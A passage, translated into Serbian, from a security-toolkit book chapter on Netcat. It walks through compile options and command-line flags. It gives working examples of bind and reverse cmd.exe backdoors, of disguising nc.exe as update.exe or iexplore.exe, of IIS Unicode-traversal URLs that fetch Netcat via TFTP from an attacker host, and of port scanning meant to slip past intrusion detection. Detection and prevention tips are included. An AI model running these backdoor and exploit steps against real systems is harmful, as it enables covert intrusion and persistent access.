You are on page 1of 24

deo

Multifunkcionalni
i
alati

U ovom delu:

1. Netcat i Cryptcat

2. Otvoreni kod /Sistemski alati: Osnove

3. X Window sistem

4. VMware

5. Cygwin

O
O
poglavlje

Netcat i Cryptcat
1

K
Kao {to }ete videti kroz ovu knjigu, na raspolaganju Vam je obilje alata za

mre`nu sigurnost i hakovanje. U ve}ini slu~aja, svaki alat se fokusira na

specifi~an cilj. Na primer, neki alati skupljaju informacije o mre`i i mre`nim domenima.

Drugi imaju cilj da iskoriste osetljivost. Najvredniji i najkorisniji su, me|utim,

uglavnom oni alati koji su multifunkcionalni i prikladni za upotrebu u vi{e razli~itih

scenarija. Netcat i Cryptcat su upravo te vrste.

O
DEO I Multifunkcionalni alati

Netcat
Prosto govore}i, Netcat stvara i prihvata TCP (Transmission Control Protocol) i UDP (User
Datagram Protocol) konekcije. To je to! Netcat pi{e i ~ita podatke preko ovih konekcija dok se
one ne zatvore. To donosi osnovni TCP/UDP mre`ni podsistem koji omogu}ava korisniku da
manualno ili preko skripta vr{i interakciju sa mre`nim aplikacijama i servisima na aplikativnom
nivou. Omogu}ava nam da vidimo ~iste TCP i UDP podatke pre nego {to oni budu umotani u
slede}i vi{i nivo kao {to je FTP (File transfer Protocol), SMTP (Simple Mail Transfer Protocol) ili
HTTP (Hypertext Transfer Protocol).

NAPOMENA
Tehni~ki, Netcat ne stvara UDP konekcije jer je UDP bezkonekcioni protokol. Kroz ovo poglavlje, kada
pominjemo stvaranje UDP konekcije kori{}enjem Netcat-a, mislimo na upotrebu Netcat-a u UDP modu za
po~etak slanja podataka UDP servisu koji je mo`da na prijemnom kraju. n

Netcat ne radi ni{ta ma{tovito. Ne poseduje lep grafi~ki interfejs (GUI) i ne izdaje svoje rezultate
u privla~ni izve{taj. On je grub, jednostavan i ru`an, ali zbog ~injenice da funkcioni{e na takvom
osnovnom nivou omogu}ava sebi da bude koristan za mno{tvo situacija. Iz ~injenice da sam
Netcat ne donosi nu`no nikakve zna~ajne rezultate ukoliko se ne koristi u tandemu sa drugim
alatima ili tehnikama, neiskusni korisnik mogao bi da previdi Netcat kao ni{ta vi{e nego jedan
hvaljeni telnet klijent. Drugi ne bi mogli da vide mogu}nosti kroz argumente komandne linije,
detaljno opisane u README fajlu. Do kraja ovog poglavlja, u svakom slu~aju, ceni}ete ~injenicu
kako Netcat mo`e biti jedan od najvrednijih alata u Va{em arsenalu.

Implementacija
Zato {to ima tako puno upotreba, Netcat se ~esto poredi sa {vajcarskim no`i}em (eng. "Swiss
army knife") za TCP/IP u UDP. Pre nego {to nau~ite da ga koristite, naravno, mora}ete da ga
preuzmete (eng. download) sa mre`e i instalirate.

Preuzimanje
Netcat se mo`e prona}i na dosta lokacija, mada mnoge Unix distribucije dolaze sa Netcat bina-
rnim datotekama ve} instaliranim, nije lo{a ideja da prona|ete izvorni kod Netcat-a i sami ga
kompajlirate. Po standardnom pode{avanju, Netcat kode se ne kompajlira u nekoliko opcija koje
biste `eleli. Preuzimanjem izvornog koda i pravljenjem izvr{ne datoteke, mo`ete ta~no odrediti
koje }ete Netcat mogu}nosti imati na raspolaganju.

Zvani~ni sajt za preuzimanje Netcata za Unix i Windows platforme je http://www.atstake.com


/research/tools/.

Instalacija
Ne}emo pokriti detalje preuzimanja, otpakovanja i izgradnje ve}ine alata pomenutih u knjizi. Ali
zbog ~injenice da Vas prvo upoznajemo sa Netcat-om i {to poseduje neke opcije prilikom
kompajliranja koje bi mogle da Vas interesuju, bitno je da zavirimo u detalje.

O
Netcat i Cryptcat POGLAVLJE 1

Sa navedenog web sajta, preuzmite fajl nc110.tgz. Onda treba da ga otpakujete:

[root@originix tmp]#
ls nc110.tgz
[root@originix tmp]# mkdir nc
[root@originix tmp]# cd nc
[root@originix tmp]# tar zxf ../nc110.tgz
[root@originix tmp]#

NAPOMENA
Za razliku od ve}ine "tarbola" (arhiva kreiranih tar alatom na Unix-u), Netcat ne kreira sam svoj pod
direktorijum. To sada mo`e izgledati trivijalno, ali ako su tarbol i njegovi poddirektorijumi preuzeti sa
Net-a u jedan direktorijum, a Vi otkrijete da je Netcat smestio sve svoje fajlove u taj isti, koreni direktorijum
gde ste ga snimili, mo`e biti pomalo mu~no da sve to sredite. n

Sada ste spremni za kompajliranje. Slede dve opcije za kompajliranje koje su va`ne:
l GAPING_SECURETY_HOLE DDKao {to ime sugeri{e (otvorena bezbednosna rupa),
ova opcija mo`e u~initi Netcat opasnim u pogre{nim rukama, ali ga tako|e ~ini vrlo
mo}nim. Sa ovom opcijom uklju~enom, Netcat mo`e da okupira eksterni program.
Ulaz/izlaz (I/O) tog programa }e te}i kroz Netcat kanal podataka. Ovo omogu}ava
Netcat-u da se pona{a kao la`ni inetd alat, omogu}avaju}i Vam da izvr{ite udaljene
komande (kao {to je pokretanje Unix-ovog komandnog okru`enja-eng. shell)
jednostavno stvaraju}i TCP i UDP konekcije portu koji oslu{kuje. Ova opcija nije
omogu}ena po unapred pode{enom stanju jer postoji veliki potencijal za
zloupotrebu i pogre{nu pode{enost. Me|utim, pravilnom upotrebom, ova
opcija mo`e biti kriti~na.
l TELNET DDUobi~ajeno, ako koristite Netcat za konekciju sa telnet serverom (koriste}i:
nc imeservera 23), ne}ete sti}i daleko. Telnet serveri i klijenti se dogovore oko
nekoliko opcija pre nego {to se prika`e odzivna linija za logovanje na sistem.
Omogu}avanjem ove opcije, Netcat mo`e odgovoriti ovim telnet opcijama (tako
{to }e re}i ne svakoj od njih) i omogu}iti Vam da pristupite odzivnoj liniji za
logovanje. Bez ove mogu}nosti, morali biste pisanjem skripta da re{ite problem
odgovaranja telnet opcijama ukoliko ste uop{te `eleli da uradite ne{to korisno sa
Netcat-om i telnetom.

Verovatno niste svesni zna~aja ovih opcija u ovom trenutku, ali vide}ete za{to smo ovo izneli
kada vidite neke primere kasnije u ovom poglavlju.

Da biste omogu}ili obe ove opcije, mora}ete da dodate DFLAGS liniju na po~etku fajla koji se
zove makefile.

# makefile for netcat, based off same ol' "generic makefile".


# Ususally do "make systype" - if your systype isn't defined, try "generic"
# or something else that most closely matches, see where it goes wrong, fix
# it, and MAIL THE DIFFS back to Hobbit.

O
DEO I Multifunkcionalni alati

### PREDEFINES

# DEFAULTS, possibly overridden by <systype> recursive call:


# pick gcc if you'd rather, and/or do -g instead of -0 if debugging
# debugging
# DFLAGS = -DTEST -DDEBUG
DFLAGS = -DGAPGING_SECURETY_HOLE -DTELNET
CFLAGS = -0

Mo`ete uklju~iti jednu ili obe ove opcije u DFLAGS liniji. Ukoliko `elite da se poigrate sa primerima
koji slede, mora}ete da u~inite ovu modifikaciju. Me|utim, pre nego {to to u~inite, uverite se da
ili posedujete sistem na kome radite ili da ste potpuno onemogu}ili pristup drugih korisnika do
izvr{nog fajla koji }ete upravo napraviti. Iako je dovoljo lako za druge korisnike da preuzmu sa
mre`e kopiju Netcat-a i naprave zavr{ni fajl sa ovim opcijama, verovatno ne biste voleli da vidite
kako Vam je sistem hakovan, jer je neko koristio Va{u "specijalno napravljenu" verziju Netcat-a
kao tajni ulaz (eng. backdoor) u Va{ sistem.

Sada ste spremni da izvr{ite kompajliranje. Jednostavno otkucajte: make systemtype u odzivnoj
liniji, gde je systemtype (dovoljno ~udno) tip Unix-a koji koristite (koji mo`e biti: linux, freebsd,
solaris itd.) Kada je gotovo, ima}ete sre}ni mali "nc" binarni fajl koji se nalazi u direktorijumu.

Za korisnike Windows-a, Netcat fajl za preuzimanje (nc11nt.zip) tako|e dolazi i u izvornom


kodu, ali zato {to ve}ina ljudi ne poseduje kompajlere na svojim Windows sistemima, izvr{na
verzija je ve} kompajlirana sa ove dve opcije standardno. Prema tome, jednostavno otpakujte fajl
i imate spreman "nc.exe".

Komandna linija
Osnovna komandna linija za Netcat je: nc <opcije> host ports, gde je host ime domena ili IP
adresa za skeniranje i ports je ili jedan port, ili niz portova (ozna~en "m-n") ili individualni
portovi odvojeni blanko karakterima (eng. spaces). Sada skoro ste spremni da vidite neke
zapanjuju}e stvari koje mo`ete uraditi sa Netcat-om. Me|utim prvo pogledajte detaljan pregled
svake opcije komande linije da biste imali osnovno razumevanje mogu}nosti:
l -d DDDostupna jedino na Windows-u, ova opcija stavlja Netcat u skriveni mod,
omogu}avaju}i mu da se podeli i radi nezavisno od kontrolne MS-DOS odzivne linije.
Omogu}ava da Netcat radi u prislu{nom modu bez potrebe da ga dr`ite u otvorenom
komadnom prozoru. Tako|e poma`e hakeru da bolje sakrije pokrenuti Netcat od
sistem administratora.
l -e <command> DDUkoliko je Netcat kompajliran sa GAPING_SECURITY_HOLE
opcijom, u prislu{nom modu }e izvr{iti <command> kada neko napravi konekciju na
port koji Netcat prislu{kuje u tom trenutku, dok }e klijent Netcat proslediti podatke
drugoj kopiji Netcat-a koja prislulu{kuje. Kori{}enje ove opcije je izuzetno opasno
ukoliko neznate ta~no {ta radite. To je lak i brz na~in za postavljenje backdoor
komandnog okru`enja na sistem (primeri slede).

O
Netcat i Cryptcat POGLAVLJE 1

l -i <seconds> DDVremenski interval koji je koli~ina vremena koje Netcat sa~eka


izme|u slanja podataka. Na primer kada se prosle|uje fajl Netcat-u, on }e sa~ekati
<seconds> sekundi pre nego {to po{alje slede}u liniju ulaznih podataka. Kada
koristite Netcat na vi{e portova na domenu, Netcat }e sa~ekati <seconds> sekundi pre
nego {to kontaktira slede}i port u liniji. Ovo mo`e omogu}iti korisnicima da stvore
prenos podataka ili da napad na servis izgleda manje po skriptu i tako zadr`ati Va{e
skeniranje portova van doma{aja radara nekog sistema za detekciju upada i sistem
administratora.
l -g <route-list> DDKori{}enje ove opcije mo`e biti lukavo. Netcat podr`ava labavo
rutiranje izvora (obja{njeno kasnije u sekciji "Smestite prijatelju: IP varanje"). Mo`ete
nazna~iti do osam -g opcija u komandnoj liniji da biste primorali Netcat saobra}aj da
prolazi preko odre|enih IP adresa, {to je korisno ukoliko skrivate IP adresu izvora
Va{ih podataka (u poku{aju da zaobi|ete filter mre`ne blokade ili liste adresa kojima
je dozvoljen pristup) i `elite da primite odziv sa domena. Rutiranje izvora preko
ma{ine nad kojom imate kontrolu, mo`ete naterati pakete podataka da se vrate
Va{oj adresi umesto da zavr{e na pravoj destinaciji. Imajte na umu da ovo uglavnom
ne}e raditi, jer ve}ina rutera ignori{e opciju rutiranja izvora i ve}ina filtera portova i
mre`nih blokada prave log Va{ih poku{aja.
l -G <hop pointer> DDOva opcija Vam omogu}ava da uti~ete na to koja IP adresa u
Va{oj -g listi ruta je trenutno slede}a. Iz razloga {to su IP adrese 4 bajta u veli~ini, ovaj
argument se uvek javlja u umno{cima broja 4, gde se 4 odnosi na prvu IP adresu u rut
listi, 8 na drugu itd. Ovo je korisno ako `elite da falsifikujete delove rut liste izvora da
u~inite da izgleda kao da dolazi sa nekog drugog mesta. Stavljaju}i la`ne adrese na
prva dva mesta u Va{oj -g listi i postavljanjem skok pointera -g opcijom na 12, paket
}e biti usmeren pravo ka tre}oj IP adresi u Va{oj rut listi. Stvarni sadr`aj paket }e,
ina~e, jo{ uvek sadr`ati la`ne IP adrese, ~ine}i da izgleda kao da je paket stigao sa
jedne lokacije iako je u stvari sa neke druge. Ovo mo`e pomo}i da maskirate odakle
dolazite kada vr{ite prikrivanje IP adrese i rutiranje izvora, ali ne}ete nu`no biti u
mogu}nosti da primite odziv jer }e poku{ati da preokrene rutu preko Va{e
falsifikovane IP adrese.
l -lD DOva opcija uklju~uje i isklju~uje Netcat-ov "prislu{ni" mod. Ova opcija mora biti
kori{}ena zajedno sa -p opcijom da bi uputili Netcat da se ve`e za bilo koji TCP port
koji nazna~ite i da ~eka dolaze}e konekcije. Dodajte -u opciju da biste koristili UDP
portove umesto TCP.
l -L DDOva opcija, dostupna jedino u Windows verzijama, je ja~a "prislu{na" opcija
nego -l. Ona nala`e Netcat-u da restartuje prislu{ni mod sa istim opcijama komandne
linije posle zatvaranja konekcije. Ovo omogu}ava Netcat-u da prihvati budu}e
konekcije bez intervencije korisnika, ~ak iako je Va{a inicajlna konekcija zavr{ena.
Kao i -l, tako|e zahteva -p opciju.
l -n DDUpu}uje Netcat da ne vr{i bilo kakvu pretragu imena domena. Ako koristite ovu
opciju na komandnoj liniji, uverite se da ne nazna~ite bilo koje ime domena kao
argument.

O
DEO I Multifunkcionalni alati

l -o <hexfile> DDVr{i pretvaranje podataka u heksadecimalni kod i prebacuje ih u


<hexfile >. Komanda nc -o hexfile snima protok podataka u oba smera i zapo~inje
svaku liniju sa < ili > da bi se nazna~ili dolaze}i i odlaze}i podaci respektivno. Da
biste dobili samo hex zapis samo dolaze}ih podataka, koristili biste komandu
nc -o <hexfile, i obrnuto, za odlaze}i nc -o >hexfile.
l -p <port> DDOmogu}ava Vam da nazna~ite broj lokalnog porta koji }e Netcat
koristiti. Ovaj argument je neophodan kada koristite -l ili -L opcije za prislu{ni mod.
Ako nije nazna~eno za odlaze}e konekcije, Netcat }e koristit bilo koji port koji dobije
od sistema, ba{ kao i ve}ina drugih TCP i UDP klijenta. Imajte na umu da na Unix-u
jedino root korsnici mogu nazna~iti kori{}enje broja porta ispod 1024.
l -rD DNetcat bira lokalni ili udaljeni port. Ovo je korisno kada koristite Netcat da
dobijete informacije o velikom opsegu portova na sistemu i `elite da pome{ate red i
izvornih i destinacionih portova da biste u~inili da manje izgleda kao skeniranje
portova. Kad se ova opcija koristi zajedno sa -i opcijom i dovoljno velikim
intervalom, port skeniranje ima jo{ ve}e {anse da pro|e nezapa`eno osim ukoliko
sistem administrator pa`ljivo i detaljno pregledava logove.
l -sD DNazna~ava izvornu IP adresu koju Netcat treba da koristi kada stvara svoje
konekcije. Ova opcija omogu}ava hakerima da rade neke vrlo podle trikove. Prvo,
omogu}ava im da sakriju svoju ili falsifikuju tu|u IP adresu, ali da bi preusmerili bilo
koju informaciju preko la`irane adrese, morali bi da koriste -g opciju za rutiranje
izvora. Drugo, kada je u prislu{nom modu, mnogo puta se mo`ete "prika~iti" ispred
servisa koji se ve} prislu{kuje. Svi TCP i UDP servisi se vezuju za port, ali se ne}e svi
vezati i za odre|enu IP adresu. Mnogi servisi po unapred definisanom stanju
prislu{kuju sve dostupne interfejse. Syslog, na primer, oslu{kuje UDP port 514 za
syslog saobra}aj. Me|utim, ako pokrenete Netcat da oslu{kuje port 514 i upotrebite
-s opciju da nazna~ite izvornu IP adresu, sav saobra}aj ka toj nazna~enoj IP adresi }e
oti}i prvo ka Netcat-u koji oslu{kuje! Za{to? Ukoliko soket (sistemski interfejs za
implementaciju TCP/IP saobra}aja) odredi i port i IP adresu, dobija prioritet nad
soketima koje se nisu vezali za specifi~nu IP adresu. O tome }emo detaljnije govoriti
kasnije (vidite deo "Otimanje servisa") i pokazati Vam kako da raspoznate na koji
servis se mo`e prika~iti.
l -t DDAko se kompajlira sa TELNET opcijom, Netcat }e biti u mogu}nosti da obra|uje
pregovor telnet opcija sa telnet serverom, odgovaraju}i sa bezna~ajnim informacijama,
ali Vam omogu}ava login odzivnu liniju koju ste veorvatno i tra`ili koriste}i Netcat za
konekciju na TCP port 23.
l -u DDNala`e Netcat-u da koristi UDP umesto TCP-a. Funkcioni{e i u klient i u
prislu{nom modu.
l -v DDKontroli{e koliko Vam Netcat govori o tome {ta radi. Ne koristite -v, i Netcat }e
samo izbaciti podatke koje prima. Jedno -v }e Vam omogiti da znate na koju adresu
se povezuje ili konektuje i ako se javi neki problem. Dva -v Vas obave{tava koliko
podataka je poslato i primljeno na kraju konekcije.

O
Netcat i Cryptcat POGLAVLJE 1

l -w <seconds>D DKontroli{e koliko }e Netcat ~ekati pre nego {to odustane od konekci-
je. Tako|e govori Netcat-u koliko dugo da ~eka posle posle primanja EOF
(end-of-file- kraja fajla) preko standardnog ulaza i zatvaranja konekcije i izlaza.
Ovo je bitno ukoliko {aljete komandu kroz Netcat udaljenom serveru i o~ekujete
veliku koli~inu podataka u povratku (na primer, slanje HTTP komande serveru za
preuzimanje velikog fajla).
l -z DDUkoliko Vas interesuje koji portovi su otvoreni, verovatno biste trebali koristiti
nmap (vidi poglavlje 6). Ali, ova opcija nala`e Netcat-u da {alje samo onoliko
podataka da bi otkrio koji portovi u Va{em nazna~enom opsegu stvarno imaju
ne{to {to ih oslu{kuje.

Sada, kada imate predstavu o mogu}nostima Netcat-a, pogledajte neke realne prakti~ne primere
iz upotrebe ovog alata.

101 upotreba Netcat-a


Ljudi tvrde da su otkrili stotine na~ina za upotrebu Netcat-a u dnevnim poslovima. Neki od ovih
zadataka su sli~ni, razlikuju}i se vrlo malo. Poku{ali smo da Vam predstavimo nekoliko koji, kao
i Netcat, su op{ti i pokrivaju naj{ire podru~je. Evo onih primera za koje smatramo da su
najva`niji.

Pribavljanje udaljenog pristupa komandnom okru`enju


Zar ne biste `eleli da mo`ete da dobijete DOS odzivnu liniju od ku}e, bilo gde u svetu?
Porketanjem komande nc.exe -l -p 4455 -e cmd.exe iz DOS odzivne linije na NT ili Windows
2000 sistemu, svako ko se telnetom pove`e na taj sistem preko porta 4455, nai}i }e na DOS
komandno okru`enje ~ak i bez potrebe da su uloguje.

[root@originx /root]# telnet 192.168.1.101 4455


Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>
Connection closed by foreign host.
[root@originix /root]#

Vrlo jednostavno, zar ne? Ali je tako|e i dosta zastra{uju}e. Bez mnogo truda, obezbedili ste
odzivnu liniju na sistemu. Me|utim, na Windows NT i 2000 sistemima, ima}ete iste pristupe i
priviliegije kao i korisnik koji je pokrenuo Netcat. Upad na ovaj na~in u Windows 95 i 98
(koriste}i command.com umesto cmd.exe) }e Vam dati kontrolu nad celim sistemom. Ovo
pokazuje kako Netcat mo`e biti opasan u pogre{nim rukama.

O
DEO I Multifunkcionalni alati

NAPOMENA
Netcat se, izgleda, pona{a izuzetno nestabilno na Windows 95 i 98 platformama, naro~ito ukoliko se vi{e
puta pokrene. n

Hajde da malo razradimo ovu komandu. Imajte na umu da }e Netcat raditi unutar DOS prozora
koji inicajlno pokrenut. Ovo zna~i da kontrolni DOS prozor treba da ostane otvoren dok Netcat
radi. Koriste}i -d opciju da ga odvojite od komandnog prozora treba da omogu}i Netcat-u da
nastavi sa radom ~ak i posle zatvaranja komandnog prozora.

C:\>nc.exe -l -p 4455 -d -e cmd.exe

Ovo bolje zavr{ava posao skrivanja Netcat bekdora. Me|utim, ako se neko telnetom pove`e na
port 4455, ~im pre taj korisnik okon~a konekciju, Netcat }e po standardnoj pode{enosti misliti
da je zavr{io i zaustavi}e oslu{kivanje. Koristite -L opciju umesto -l da biste mu nalo`ili da
oslu{kuje ja~e (nastavi da oslu{kuje{ i ponovo po~ni sa istom komandnom linijom posle
zavr{etka pve konverzacije).

/C:\>nc.exe -p 4455 -d -L -e cmd.exe

Ovo mo`e omogu}iti hakeru povratak u sistem dok sistem administrator ne uo~i bekdor videv{i
pokrenuti nc.exe u task menad`eru. Haker mo`e ovo imati na umu i preimenovati nc.exe u ne{to
drugo.

C:\>move nc.exe c:\Windows\System32\Drivers\update.exe


C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe

Sistem administratoru mo`e proma}i ne{to bezopasno kao update.exe-{to mo`e biti bilo {ta.
Haker isto tako mo`e sakriti i komandnu lniju. Jo{ jedna osobina Netcat-a je da ako ga pokrenete
bez komandne linije on }e sam zatra`iti opcije komandne linije na prvoj linije standardnog
ulaza:

C:\>Windows\System32\Drivers\update.exe
Cmd line: -l -p 4455 -d -L -e cmd.exe
C:\>

Sada, ako sistem administrator pokrene poverljivu komandu netstat -a -n u DOS promptu,
primeti}e da je ne{to pokrenuto na dosta ~udnom portu, telnetom se povezati na taj port i
otkriti trik. Me|utim, Windows koristi nekoliko slu~ajno odabranih portova za razli~ite razloge
pa netstat-ov izlaz mo`e oduzeti dragoceno vreme za analizu, naro~ito na sistemima sa puno
aktivnosti.

Hakeri mogu probati druga~iji pristup. Ako se infiltriraju na Citrix server, na primer, kojem
pristupaju nekoliko korisnika koji surfuju Web-om, treba o~ekivati dosta DNS (Domain Name
System) zahteva i Web konekcija. Pokretanje netstat -a -n }e otkriti puno odlaze}ih TCP
konekcija na port 80. Umesto da pokrenete Netcat u prislu{nom modu na sistemu i ~ekate na
konekcije, Netcat mo`e proslediti ulaz/izlaz cmd.exe programa drugoj pokrenutoj kopiji Netcat-a
koja oslu{kuje na udaljenom sistemu na portu 80. Na svom kraju, haker treba da pokrene:

root@originix /root]# nc -l -p 80

10

O
Netcat i Cryptcat POGLAVLJE 1

Sa Windows sistema haker mo`e pametno "sakriti" Netcat ponovo, i proslediti slede}e komande:

C:\>mkdir C:\Windows\System32\Drivers\q
C:\>move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe
C:\>cd Windows\System32\Drivers\q
C:\WINDOWS\System32\DRIVERS\q>iexplore.exe
Cmd line: -d -e cmd.exe originix 80
C:\Windows\System32\DRIVERS\q>

Sada bi prislu{kuju}i Netcat trebao podi}i komandno okru`enje sa Windows ma{ine. Ovo mo`e
zavr{iti bolji posao sakrivanja bekdora od sistem administratora. Na prvi pogled, konekcije }e
izgledati ba{ kao Internet Explorer koji stvara tipi~ne HTTP konekcije. Jedina mana za hakera je
to {to posle zatvaranja komandnog okru`enja, ne postoji na~in da ga ponovo pokrenete na
Windows strani.

Postoji nekoliko na~ina na koje sistem administrator mo`e otkriti infiltraciju prljavog Netcat-a:
l Koriste}i alat za pretragu fajlova u Windows-u i tra`e}i sve fajlove koji sadr`e tekst
"listen mode" ili "inbound connects". Svi izvr{ni fajlovi koji se pojave mogu biti
Netcat.
l Proveriti task menad`er za bilo koji prljavi cmd.exe fajl. Ukoliko haker nije
preimenovao cmd.exe, mo`ete ga tako|e otkriti dok koristi udaljeno komandno
okru`enje jer }e cmd.exe biti pokrenut iz razloga koji je Vama nepoznat.
l Koriste}i netstat komandu (Poglavlje 2) ili (Poglavlje 18) da bi video koji se portovi
trenutno koriste i koje aplikacije ih koriste. Ina~e, budite oprezni sa netstatom. Netstat
mo`e lako biti zamenjen sa "trojan" verzijom programa koja je specijalno napravljena
da bi haker prikrio odre|enu aktivnost. Tako|e, netstat nekada ne}e prijaviti
oslu{kuju}i TCP soket dok ne{to nije povezano na njega.

Upravo ste videli dva razli~ita na~ina da dobijete udaljeno komandno okru`enje na Windows
sistemu. O~igledno, neki drugi faktori koji mogu da uti~u na uspeh sa obe metode uklju~uju
srednje za{titne barijere, port filtere ili proxy servere koji zapravo filtriraju HTTP zaglavlja (samo
da imenujemo nekoliko).

Posebno ova upotreba Netcata je bila pokreta~ka snaga nekih popularnih exploita IIS-a (Internet
Informatio Server) 4.0 Microsoft Data Access Components (MDAC) i Unicode osetljivosti.
Nekoliko varijacija postoji, ali u svim slu~ajevima exploiti koriste ove slabosti, koje omuga}avaju
bilo kome da komande na sistemu kao IIS korisniku koriste}i specijalno kreirane URL-ove. Ovi
exploiti mogu iskoristiti program kao {to je Trivial File Transfer Protocol (TFTP) ako je instaliran,
prebaciti nc.exe sa udaljenog sistema na kome je pokrenut TFTP server, pokrenuti jednu od
bekdor komandi. Evo URL-a u poku{aju da iskoristi TFTP za preuzimanje Netcat-a sa udaljene
lokacije koriste}i exploit Unicode osetljivosti:

http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20
i%20originx&20GET%20update.exe

11

O
DEO I Multifunkcionalni alati

Ukoliko je uspe{na, ova komanda }e efektivno smestiti Netcat na 10.10.0.1 u Interpub poddi-
rektorijum direktorijuma Scripts kao update.exe. Haker onda mo`e pokrenuti Netcat koriste}i
drugi URL:

http://10.10.0.1/scripts/../%c1/pc/../inetpub/scripts/update.exe?-l%20-d%20-
L%20-p%20443%20-e%20cmd.exe

NAPOMENA
Web server interpretira %20 kao blanko karakter u URL-u gore. n

Povezivanje telnetom na sistem preko porta 443 treba da obezbedi komandni prompt. Ovo je
efektan i jednostavan napad i ~ak mo`e biti izvr{en skriptom i automatizovan. Me|utim, ovaj
pristup ostavlja tragove iza sebe. Pre svega, svi URL koji su kori{}eni bi}e sme{teni u IIS logovima.
Pretra`ivanjem IIS logova za tftp }e otkriti da li je neko poku{avao ovaj napad. Tako|e, ve}ina
aktuelnih IDS verzija }e tra`iti URL-ove formatirane na ovaj na~in (t.j. URL sadr`i cmd.exe ili
specijalne Unicode karaktere). Postoji nekoliko na~ina kojima mo`ete izvr{iti prevenciju napada
ovog tipa.
l Obezbedite da IIS koristi najnoviji sigurnosni paket.
l Blokirajte odlaze}e konekcije sa Va{eg web servera na mre`noj barijeri (firewall). U
ve}ini slu~ajeva Va{ web server ne bi trebao da inicira konekcije ka ostatku sveta. ^ak
iako je IIS osetljiv, TFTP }e propasti jer ne}e biti u mogu}nosti da se pove`e sa TFTP
serverom napada~a.

Pritajeno skeniranje portova (nalik ~oveku)


Iz razloga {to Netcat mo`e da pregovara sa opsegom portova, dosta o~igledna primena bi bila kao
port skener. Va{a prva ideja bi bila da Netcat pove`ete sa mno{tvo portova na ciljnom hostu:

[root@originx nc]# ./nc target 20-80

Ali, ovo ne}e raditi. Upamtite da Netcat nije specifi~no port skener. U ovoj situaciji, Netcat bi
po~eo kod porta 80 i poku{ava TCP konekcije dok ne{to ne odgovori. ^im dobije odgovor,
Netcat bi ~ekao na standardni ulaz pre nego {to nastavi. Ovo nije ono {to nam treba.

Re{enje je -z opcija. Ova opcija nala`e Netcat-u da {alje minimalnu koli~inu podataka da bi
dobila odgovor s otvorenog porta. Kada se koristi -z mode, nemate mogu}nost opcije prenosa
bilo kakvog ulaza ka Netcat-u (pa i sama opcija glasi "Nula I/O mod" , nula-eng. zero i odatle
-z), a tako|e ne}ete videti ni izlaz. Po{to Vam -v opcija uvek daje detalje o konekciji koje Netcat
pravi, mo`ete je koristiti da vidite rezultat skeniranja portova. Bez nje...pa... ne}ete videti ni{ta-
kao {to mo`ete primetiti ovde:

[root@originix nc]# ./nc -z 192.168.1.100 20-80


[root@originix nc]# ./nc -v -z 192.168.1.100 20-80
originix [192.168.1.100] 80 (www) open
originix [192.168.1.100] 23 (telnet) open
originix [192.168.1.100] 22 (ssh) open
originix [192.168.1.100] 21 (ftp) open
[root@originix nc]#
12

O
Netcat i Cryptcat POGLAVLJE 1

Posle upotrebe -v opcije, mo`ete videti ne{to sumnjivo izme|u portova 20 i 80. Kako ovo
izgleda u syslog-u?

Feb 12 03:50:23 originix sshd[21690]: Did not recive ident string from
192.168.1.105.
Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe
Feb 12 03:50:23 originix ftpd[21691]: FTP session closed

Primeti}ete kako su se svi doga|aji dogodili u isto vreme i sa inkrementima proces ID-a (21689
do 21691). Zamislite da ste skenirali {irok opseg portova. Krajnji ishod bi bio dosta veliki trag. A
neki servisi, ~ak su i toliko drski da odaju IP adresu skenera.

^ak iako skenirate portove na kojima ni{ta nije aktivno (i zbog toga ne zavr{ite u hostovom
syslog-u), ve}ina mre`a poseduje sistem detekcije upada koji }e odmah ozna~iti ovaj oblik
pona{anja i privu}i pa`nju administratora. Neke aplikacije mre`nih barijera }e automatski bloki-
rati IP adresu sa koje prime previ{e konekcija u kratkom vremenskom periodu.

Netcat omogu}ava na~ine da u~inite skeniranje ne{to diskretnijim. Mo`ete koristiti -i opciju da
namestite interval izme|u prenosa podataka. Du`e }e trajati dobijanje informacija, ali su ve}e
{anse da skeniranje promakne radaru. Upotreba -r opcije da izme{ate redosled po kome Netcat
skenira portove }e tako|e pomo}i da skeniranje manje li~i na skeniranje portova:

./nc -v -z -r -i 42 192.168.1.00 20-80

Ovim ka`ete Netcat-u da slu~ajno izabere portove izme|u 20 i 80 na 192.168.1.100 i poku{a da


se pove`e na njih svakih 42 sekunde. Ovo }e definitivno proma}i bilo kojoj automatizovanoj
odbrani, ali }e dokaz skeniranje jo{ uvek biti na logovima cilja; bi}e samo rasejaniji.

Mo`ete raditi isti na~in prikrivenog skeniranja portova koriste}i i UDP. Jednostavno dodajte -u
komandnoj liniji za pregled UDP umesto TCP portova.

SAVET
UDP skeniranje poseduje problem. Netcat zavisi od primanja Internet Control Message Protocol (ICMP)
gre{ke da bi odredio da li je UDP port otvoren ili zatvoren. Ako je ICMP blokiran mre`nim barijerama ili
filterom, Netcat mo`e pogre{no prijaviti zatvoren UDP port kao otvoren. n

Netcat nije najsofisticiraniji alat za upotrebu u port skeniranju. Zato {to se mo`e koristiti za
mnoge op{te namene umesto da izvr{ava jedan zadatak izuzetno dobro, mo`da bi bilo bolje da
koristite port skener koji je specijalno napisan za tu svrhu. O port skenerima }emo govoriti u
poglavlju 6.

SAVET
Ako dobijete gre{ke u pogledu adrese koja je ve} u upotrebi kada je poku{ano sa skeniranjem porta
koriste}i Netcat, mo`da biste trebali zaklju~ati Netcat za odre|eni izvorni IP i izvorni port (koriste}i -s i -p
opcije). Izaberite port koji znate da mo`ete da koristite (samo superkorisnik mo`e koristiti portove ispod
1024) ili koji nisu vezani za ne{to drugo. n

13

O
DEO I Multifunkcionalni alati

Identifikujte se: servisi prosipaju svoje utrobe


Posle upotrebe Netcat-a ili posve}enog port-skener alata kao {to je nmap (vidite poglavlje 6) da
biste utvrdili koji portovi su otvoreni na sistemu, mo`da biste `eleli da budete u mogu}nosti da
dobijete jo{ informacija o tim portovima. To obi~no mo`ete posti}i konektovanjem na port;
servis }e odmah izbaciti broj verzije, datum stvaranja i mo`da i operativnog sistema na kome le`i
sistem. Stoga, trebali biste biti u mogu}nosti da koristite Netcat za skeniranje odre|enog opsega
portova i formiranja izve{taja o ovim servisima.
Imajte na umu, mada, da biste automatizovali Netcat, morate obezbediti ulaz za komandnu
